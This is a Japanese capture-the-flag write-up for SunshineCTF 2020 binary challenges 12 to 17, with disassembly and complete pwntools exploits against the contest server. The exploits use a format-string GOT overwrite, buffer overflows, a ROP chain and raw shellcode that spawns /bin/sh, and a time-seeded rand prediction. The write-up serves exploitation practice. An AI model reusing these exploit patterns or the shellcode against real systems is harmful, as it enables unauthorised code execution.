12 (45 Pts)

vulnは11とほぼ同じでprintfFSBがある. しかし, PIEが有効になっていてwinのアドレスがわからない.
実行するとmainのアドレスが表示される. このアドレスからfflushのGOTとwinのアドレスを計算する. あとは11と同様にfflushのGOTをwinのアドレスに書き換える.

from pwn import *

# p=process('./chall_12')
p=remote('chal.2020.sunshinectf.org',30012)
e=ELF('./chall_12')

main=e.symbols["main"]
win=e.symbols["win"]
fflush_got=e.got["fflush"]

p.recvuntil(": ")
leak_main=int(p.recv(14)[2:],16)
win=leak_main+win-main
fflush_got=leak_main+fflush_got-main

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive() 

flag: sun{the-stage-351efbcaebfda0d5}

13 (44 Pts)

vulnは10とほぼ同じでgetsBOFが起きる. リターンアドレスをsystemFuncに書き換える.

from pwn import *

# p=process('./chall_13')
p=remote('chal.2020.sunshinectf.org',30013)
e=ELF('./chall_13')

payload=b'A'*62
payload+=p32(e.symbols["systemFunc"])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{almost-easy-61ddd735cf9053b0}

14 (47 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400b5d <+0>:     push   rbp
   0x0000000000400b5e <+1>:     mov    rbp,rsp
   0x0000000000400b61 <+4>:     sub    rsp,0x60
   0x0000000000400b65 <+8>:     lea    rdi,[rip+0x9195c]        # 0x4924c8
   0x0000000000400b6c <+15>:    call   0x410890 <puts>
   0x0000000000400b71 <+20>:    mov    rdx,QWORD PTR [rip+0x2b8c30]        # 0x6b97a8 <stdin>
   0x0000000000400b78 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000400b7c <+31>:    mov    esi,0x14
   0x0000000000400b81 <+36>:    mov    rdi,rax
   0x0000000000400b84 <+39>:    call   0x40ffd0 <fgets>
   0x0000000000400b89 <+44>:    lea    rax,[rbp-0x60]
   0x0000000000400b8d <+48>:    mov    rdi,rax
   0x0000000000400b90 <+51>:    mov    eax,0x0
   0x0000000000400b95 <+56>:    call   0x4106e0 <gets>
   0x0000000000400b9a <+61>:    nop
   0x0000000000400b9b <+62>:    leave  
   0x0000000000400b9c <+63>:    ret    
End of assembler dump.

maingetsBOFが起きる.

$ file ./chall_14 
./chall_14: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2936c7ad85f602a3701fef5df2a870452f6d3499, not stripped

静的リンク.
ROPgadgetでROPChainを組む. リターンアドレスをROPChainに書き換える.

$ ROPgadget --binary ./chall_14 --ropchain
from pwn import *
from struct import pack

# r=process('./chall_14')
r=remote('chal.2020.sunshinectf.org',30014)
e=ELF('./chall_14')

# $ ROPgadget --binary ./chall_14 --ropchain
# Padding goes here
p = b'A'*104

p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004158f4) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400696) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449b15) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040120c) # syscall

r.sendline()
r.sendline(p)
r.interactive()

flag: sun{hail-to-the-king-c24f18e818fb4986}

15 (46 Pts)

長いので一部だけ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0x50
   0x0000000000000722 <+8>:     lea    rax,[rbp-0x46]
   0x0000000000000726 <+12>:    mov    rsi,rax
   0x0000000000000729 <+15>:    lea    rdi,[rip+0x158]        # 0x888
   0x0000000000000730 <+22>:    mov    eax,0x0
   0x0000000000000735 <+27>:    call   0x5d0 <printf@plt>

   0x000000000000079c <+130>:   lea    rax,[rbp-0x46]
   0x00000000000007a0 <+134>:   mov    esi,0x5a
   0x00000000000007a5 <+139>:   mov    rdi,rax
   0x00000000000007a8 <+142>:   call   0x5e0 <fgets@plt>
   0x00000000000007ad <+147>:   cmp    DWORD PTR [rbp-0x3c],0xfacade
   0x00000000000007b4 <+154>:   je     0x7c9 <vuln+175>
   0x00000000000007b6 <+156>:   cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000007bd <+163>:   je     0x7c9 <vuln+175>
   0x00000000000007bf <+165>:   mov    edi,0x0
   0x00000000000007c4 <+170>:   call   0x5f0 <exit@plt>
   0x00000000000007c9 <+175>:   nop
   0x00000000000007ca <+176>:   leave  
   0x00000000000007cb <+177>:   ret    
End of assembler dump.

2回目の入力の前にアドレスrbp-0x46が表示される.
vulnfgetsは入力をrbp-0x46からの領域に格納するが, 0x5a文字書き込めるためBOFが起きる. また, rbp-0x3crbp-0x4の値が0xfacadeでないとexitが実行され終了してしまう.
0xa(=0x46-0x3c)文字後に0xfacadeとシェルコードを置く. リターンアドレスを, 表示されるアドレス+0x12(=0xa+0x8)に書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_15')
p=remote('chal.2020.sunshinectf.org',30015)
e=ELF('./chall_15')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)+18

payload=b'A'*10
payload+=p64(0xfacade)
payload+=shellcode
payload+=b'A'*(0x46+0x8-len(payload))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{bat-country-53036e8a423559df}

16 (44 Pts)

長いのでGhidraでデコンパイル

void main(void)

{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_60;
    char local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets(local_58,0x31,stdin);
    sVar1 = strlen(local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_60 = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_60) break;
        if (local_58[local_60] != key[local_60]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_60 = local_60 + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                        /* WARNING: Subroutine does notreturn */
        __stack_chk_fail();
    }
    return;
}

keyであるQueue epic guitar solo *syn starts shredding*を入力するとシェルが起動する.

$ nc chal.2020.sunshinectf.org 30016
Queue epic guitar solo *syn starts shredding*
ls
chall_16
flag.txt
cat flag.txt
sun{beast-and-the-harlot-73058b6d2812c771}
exit

flag: sun{beast-and-the-harlot-73058b6d2812c771}

17 (46 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000009b9 <+0>:     push   rbp
   0x00000000000009ba <+1>:     mov    rbp,rsp
   0x00000000000009bd <+4>:     sub    rsp,0x10
   0x00000000000009c1 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000009ca <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000009ce <+21>:    xor    eax,eax
   0x00000000000009d0 <+23>:    mov    edi,0x0
   0x00000000000009d5 <+28>:    call   0x7f0 <time@plt>
   0x00000000000009da <+33>:    mov    edi,eax
   0x00000000000009dc <+35>:    call   0x7e0 <srand@plt>
   0x00000000000009e1 <+40>:    call   0x830 <rand@plt>
   0x00000000000009e6 <+45>:    mov    DWORD PTR [rbp-0xc],eax
   0x00000000000009e9 <+48>:    lea    rax,[rbp-0x10]
   0x00000000000009ed <+52>:    mov    rsi,rax
   0x00000000000009f0 <+55>:    lea    rdi,[rip+0xf3]        # 0xaea
   0x00000000000009f7 <+62>:    mov    eax,0x0
   0x00000000000009fc <+67>:    call   0x810 <__isoc99_scanf@plt>
   0x0000000000000a01 <+72>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a04 <+75>:    cmp    DWORD PTR [rbp-0xc],eax
   0x0000000000000a07 <+78>:    jne    0xa10 <main+87>
   0x0000000000000a09 <+80>:    call   0x95a <win>
   0x0000000000000a0e <+85>:    jmp    0xa29 <main+112>
   0x0000000000000a10 <+87>:    mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000000a13 <+90>:    mov    edx,DWORD PTR [rbp-0xc]
   0x0000000000000a16 <+93>:    mov    esi,eax
   0x0000000000000a18 <+95>:    lea    rdi,[rip+0xce]        # 0xaed
   0x0000000000000a1f <+102>:   mov    eax,0x0
   0x0000000000000a24 <+107>:   call   0x7c0 <printf@plt>
   0x0000000000000a29 <+112>:   nop
   0x0000000000000a2a <+113>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000a2e <+117>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000000a37 <+126>:   je     0xa3e <main+133>
   0x0000000000000a39 <+128>:   call   0x7b0 <__stack_chk_fail@plt>
   0x0000000000000a3e <+133>:   leave  
   0x0000000000000a3f <+134>:   ret    
End of assembler dump.

入力した数字がrandで生成されたランダムな整数と一致するとwinが実行されフラグが表示される. 一致しない場合は, 生成された整数が表示される.
srandに同じ引数を与えるとrandは同じ値を返す. ここではsrandの引数にはtimeで取得した現在時刻が与えられる.
スクリプトで処理することで同じ値を生成させる. 1回目で生成された整数を取得し, 2回目でその整数を入力する.

from pwn import *

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(str(0))
num=p.recv().split(b'\n')[1][len("Expected: "):]
print(num)
# p.kill()

# p=process('./chall_17')
p=remote('chal.2020.sunshinectf.org',30017)
p.sendline(num)
print(p.recv())

flag: sun{unholy-confessions-b74c1ed1f1d486fe}